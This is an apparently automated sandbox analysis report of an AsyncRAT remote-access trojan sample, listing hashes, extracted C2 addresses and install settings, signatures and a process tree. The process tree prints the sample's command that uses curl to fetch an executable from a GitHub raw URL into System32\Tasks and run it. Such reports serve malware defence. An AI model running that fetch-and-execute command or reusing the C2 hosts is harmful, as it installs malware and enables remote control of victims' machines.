asyncrat | 7a976388b064594086b73e3e08a3b95b97a9eea7610bf9c4ac53a2d10304e12b

Analysis

max time kernel
140s
max time network
126s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2024, 03:59

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General

Target
7a976388b064594086b73e3e08a3b95b97a9eea7610bf9c4ac53a2d10304e12b.exe
Size 1.5MB
Sample240726-ej3emsvfmm
SHA256 7a976388b064594086b73e3e08a3b95b97a9eea7610bf9c4ac53a2d10304e12b
MD5 c630bf785cbddc841d851ba3ac942b46
SHA1 2f410b120f52038536f5126a773ccaeb6846c9c8
SHA512 fd8e9d471edb1d0ae1ad1ab6220af99d56f1d0dd5e93c10d0701525ed9a96b8e100f2762db8062e96be17a901bd186456c815e7df016cb2be25e0bebf8d32a7f
SSDEEP 24576:/+Kd7DDr9Ye1/aj1bx7yjtrE2/Ci2nCRvuGKFXZT1sUnM:/b/9fwxxuRbCPnHEU
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

127.0.0.1:2035
147.185.221.16:2035
147.185.221.19:2035
121637121.duckdns.org:2035

Mutex

I8EJ82H739UG

Attributes

delay
1
install
true
install_file
Update.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x00090000000233fd-2.dat	family_asyncrat

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
4324	kerneldat234.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\Tasks\kerneldat234.exe	curl.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3136 wrote to memory of 4188	3136	7a976388b064594086b73e3e08a3b95b97a9eea7610bf9c4ac53a2d10304e12b.exe	85
PID 3136 wrote to memory of 4188	3136	7a976388b064594086b73e3e08a3b95b97a9eea7610bf9c4ac53a2d10304e12b.exe	85
PID 4188 wrote to memory of 1908	4188	cmd.exe	86
PID 4188 wrote to memory of 1908	4188	cmd.exe	86
PID 4188 wrote to memory of 4324	4188	cmd.exe	90
PID 4188 wrote to memory of 4324	4188	cmd.exe	90

C:\Users\Admin\AppData\Local\Temp\7a976388b064594086b73e3e08a3b95b97a9eea7610bf9c4ac53a2d10304e12b.exe
"C:\Users\Admin\AppData\Local\Temp\7a976388b064594086b73e3e08a3b95b97a9eea7610bf9c4ac53a2d10304e12b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://raw.githubusercontent.com/SkarSys/Vane.cc-Skar-Fortnite-self-leak/main/um/AUTH/kdmapper.exe --output C:\Windows\System32\Tasks\kerneldat234.exe >nul 2>&1 && C:\Windows\System32\Tasks\kerneldat234.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4188
- - C:\Windows\system32\curl.exe
    curl https://raw.githubusercontent.com/SkarSys/Vane.cc-Skar-Fortnite-self-leak/main/um/AUTH/kdmapper.exe --output C:\Windows\System32\Tasks\kerneldat234.exe
    3⤵
    - Drops file in System32 directory
    PID:1908
- - C:\Windows\System32\Tasks\kerneldat234.exe
    C:\Windows\System32\Tasks\kerneldat234.exe
    3⤵
    - Executes dropped EXE
    PID:4324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

kerneldat234.exe

Path C:\Windows\System32\Tasks\kerneldat234.exe
Size 48KB
SHA256 f879d638d1ff0dd11471d38f62361315bb43b77d3605ec9ff67b149f435dadcc
MD5 a64c195587c96e2d3dabe451e7ebb496
SHA1 56b34ea8794487287f4d13708c56e46012417e9b
SHA512 b9b600898e094832cd598182002fddab9506166fc9104994651aa83b8c96f7339901fec258978ecaafce393ac6c453280ccf22061b40839703d1760a6f3108cd
SSDEEP 768:MWGIILQe0J+bistelDSN+iV08YbygeMUjs9R/vEgK/JA+Vc6KN:MW1hstKDs4zb1Vp99nkJA+VclN
MD5 SHA1 SHA512 SSDEEP

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memory/4324-4-0x00007FFC07323000-0x00007FFC07325000-memory.dmp

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memory/4324-5-0x0000000000020000-0x0000000000032000-memory.dmp

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memory/4324-6-0x00007FFC07320000-0x00007FFC07DE1000-memory.dmp

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memory/4324-7-0x00007FFC07320000-0x00007FFC07DE1000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads